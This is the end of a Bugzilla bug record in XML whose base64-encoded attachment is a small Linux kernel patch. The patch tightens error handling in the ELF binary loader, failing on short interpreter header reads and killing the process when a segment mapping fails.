CQlyZXR2YWwgPSBrZXJuZWxfcmVhZChpbnRlcnByZXRlciwgMCwgYnBybS0+YnVmLCBCSU5QUk1f
QlVGX1NJWkUpOwotCQkJaWYgKHJldHZhbCA8IDApCisJCQlpZiAocmV0dmFsICE9IEJJTlBSTV9C
VUZfU0laRSkgeworCQkJCWlmIChyZXR2YWwgPj0gMCkKKwkJCQkJcmV0dmFsID0gLUVJTzsKIAkJ
CQlnb3RvIG91dF9mcmVlX2RlbnRyeTsKKwkJCX0KIAogCQkJLyogR2V0IHRoZSBleGVjIGhlYWRl
cnMgKi8KIAkJCWludGVycF9leCA9ICooKHN0cnVjdCBleGVjICopIGJwcm0tPmJ1Zik7CkBAIC03
NTcsOCArNzc1LDEwIEBAIHN0YXRpYyBpbnQgbG9hZF9lbGZfYmluYXJ5KHN0cnVjdCBsaW51eF8K
IAkJfQogCiAJCWVycm9yID0gZWxmX21hcChicHJtLT5maWxlLCBsb2FkX2JpYXMgKyB2YWRkciwg
ZWxmX3BwbnQsIGVsZl9wcm90LCBlbGZfZmxhZ3MpOwotCQlpZiAoQkFEX0FERFIoZXJyb3IpKQot
CQkJY29udGludWU7CisJCWlmIChCQURfQUREUihlcnJvcikpIHsKKwkJCXNlbmRfc2lnKFNJR0tJ
TEwsIGN1cnJlbnQsIDApOworCQkJZ290byBvdXRfZnJlZV9kZW50cnk7CisJCX0KIAogCQlpZiAo
IWxvYWRfYWRkcl9zZXQpIHsKIAkJCWxvYWRfYWRkcl9zZXQgPSAxOwo=
</data>        

          </attachment>
    </bug>

</bugzilla>